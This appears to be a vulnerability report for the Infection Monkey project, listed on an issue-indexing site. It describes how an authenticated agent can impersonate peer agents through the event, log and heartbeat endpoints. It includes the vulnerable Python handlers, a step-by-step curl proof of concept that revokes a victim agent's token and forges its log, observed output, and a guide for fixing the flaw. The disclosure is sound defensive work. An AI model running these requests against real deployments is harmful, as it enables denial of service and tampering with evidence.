guardicore / guardicore/monkey
Authenticated agent can inject events impersonating other agents, revoking their tokens
- Dominant language
- Python
- Stars
- 7.1k
- Forks
- 830
- PR merge metrics
- No merged PRs in 30d
Description
### Summary
An authenticated Infection Monkey agent can inject arbitrary agent events, including `AgentShutdownEvent`, with any other agent's UUID as the `source` field. Because the Island does not verify that the event's `source` matches the submitting agent's identity, this allows one agent to impersonate another. When a shutdown event is injected for a victim agent, the Island immediately revokes the victim agent's authentication token and marks it as stopped, causing a denial of service and falsifying the simulation's recorded state.
### Details
Agent events are submitted via `POST /api/agent-events` in `monkey/monkey_island/cc/resources/agent_events.py`. The endpoint requires an `AGENT`-role token but performs no check that the `source` field inside each submitted event matches the identity of the authenticated caller:
```python
# monkey/monkey_island/cc/resources/agent_events.py
@auth_token_required
@roles_accepted(AccountRole.AGENT.name)
def post(self):
serialized_events = request.json
deserialized_events = []
for event in serialized_events:
serializer = self._event_serializer_registry[event[EVENT_TYPE_FIELD]]
deserialized_events.append(serializer.deserialize(event)) # source taken verbatim
for deserialized_event in deserialized_events:
self._agent_event_queue.publish(deserialized_event)
return {}, HTTPStatus.NO_CONTENT
```
Agent users are created with `username=str(agent_id)` in `agent_otp_login.py`. A correct implementation would validate `event.source == UUID(current_user.username)` before accepting each event, but no such check exists.
When an `AgentShutdownEvent` is processed, two Island event handlers fire:
1. `update_agent_shutdown_status` (`cc/agent_event_handlers/update_agent_shutdown_status.py`):
```python
def __call__(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
agent = self._agent_repository.get_agent_by_id(agent_id)
agent.stop_time = datetime.fromtimestamp(event.timestamp, tz=pytz.UTC)
self._agent_repository.upsert_agent(agent)
```
2. `AgentUserRemover.remove_on_shutdown` (`cc/services/authentication_service/register_event_handlers.py`):
```python
def remove_on_shutdown(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
self._authentication_facade.remove_user(str(agent_id))
```
`remove_user` calls `revoke_all_tokens_for_user` then `delete_user`, permanently revoking the victim's auth token.
The same missing check affects two additional agent-only endpoints:
- `PUT /api/agent-logs/` (`cc/services/log_service/flask_resources/agent_logs.py`): any agent can overwrite the diagnostic logs stored for any other agent's UUID, enabling evidence tampering.
- `POST /api/agent//heartbeat` (`cc/resources/agent_heartbeat.py`): any agent can submit heartbeats attributed to any other agent's UUID, manipulating the liveness tracking used to set `stop_time`.
In a typical multi-hop BAS run, the parent agent passes its own UUID as the `--parent` flag when launching child agents, so each child already knows its parent's UUID and can target it.
### PoC
Prerequisites: a running Infection Monkey Island (tested on v2.3.0), one registered operator account, and two agent sessions authenticated via the OTP flow.
```bash
ISLAND="https://localhost:5000"
# Step 0: register operator and obtain operator token
OPERATOR_TOKEN=$(curl -sk -X POST $ISLAND/api/register \
-H "Content-Type: application/json" \
-d '{"username":"operator","password":"Secure123!"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 1: create attacker agent session via OTP
OTP_A=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
ATTACKER_UUID="aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
ATTACKER_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$ATTACKER_UUID\",\"otp\":\"$OTP_A\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 2: register attacker agent in the Island's agent repository
START=$(python3 -c "from datetime import datetime,timezone;print(datetime.now(timezone.utc).isoformat())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$ATTACKER_UUID\",\"machine_hardware_id\":100,\"start_time\":\"$START\",\"parent_id\":null,\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.1/24\"],\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"}"
# expected: 204
# Step 3: create victim agent session via OTP
OTP_V=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
VICTIM_UUID="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"
VICTIM_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$VICTIM_UUID\",\"otp\":\"$OTP_V\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 4: register victim agent (child of attacker)
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $VICTIM_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$VICTIM_UUID\",\"machine_hardware_id\":200,\"start_time\":\"$START\",\"parent_id\":\"$ATTACKER_UUID\",\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.2/24\"],\"sha256\":\"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\"}"
# expected: 204
# Step 5: confirm victim token is valid before attack
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 200
# Step 6: attacker injects fake AgentShutdownEvent with victim's UUID as source
TS=$(python3 -c "import time;print(time.time())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agent-events \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "[{\"type\":\"AgentShutdownEvent\",\"source\":\"$VICTIM_UUID\",\"timestamp\":$TS,\"tags\":[]}]"
# expected: 204
# Step 7: victim token is now revoked
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 401
# Step 8: operator confirms victim is falsely marked as stopped
curl -sk $ISLAND/api/agents -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json; [print('stop_time:',a.get('stop_time')) for a in json.load(sys.stdin) if a['id']=='bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb']"
# expected: stop_time: 20XX-XX-XXTXX:XX:XX...
```
Observed output from a live test run:
```
Step 5 (victim token valid): HTTP/1.1 200
Step 6 (inject shutdown): HTTP/1.1 204
Step 7 (victim token revoked): HTTP/1.1 401
Step 8 (victim stop_time set): 2026-06-20T02:17:24.038867Z
```
The log-overwrite variant is equally straightforward:
```bash
# Attacker overwrites victim's diagnostic log
curl -sk -o /dev/null -w "%{http_code}\n" -X PUT \
$ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '"Attacker forged this log entry"'
# expected: 204
# Operator reads victim log and sees forged content
curl -sk $ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $OPERATOR_TOKEN"
# expected: "Attacker forged this log entry"
```
### Impact
Any authenticated Monkey agent can inject events on behalf of other agents without restriction. The most severe consequence is that the attacker agent can force-terminate any peer agent: the victim's Island authentication token is immediately revoked and it is marked as stopped, preventing it from completing any further work or reporting results. An agent executing on a compromised host can therefore silently disable the agents responsible for detecting or reporting that host's compromise.
Secondary impacts include: diagnostic log falsification (hiding exploitation evidence from the operator) and heartbeat spoofing (keeping a stopped agent appearing alive, or permanently extending a running agent's apparent lifetime).
Affected Versions: <= 2.3.0, confirmed on commit a55fc8dfe7ba800c5932ca6eadb1ad4b925d6f28
Contributor guide
Research direction
Start with monkey/monkey_island/cc/resources/agent_events.py and trace how the authenticated agent identity is exposed by the OTP login and auth decorators. Then compare the identity checks needed in agent_logs.py and agent_heartbeat.py; done means agent-only requests cannot act for a different UUID while legitimate requests still work, including the event shutdown path.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- api, authentication, backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 52/100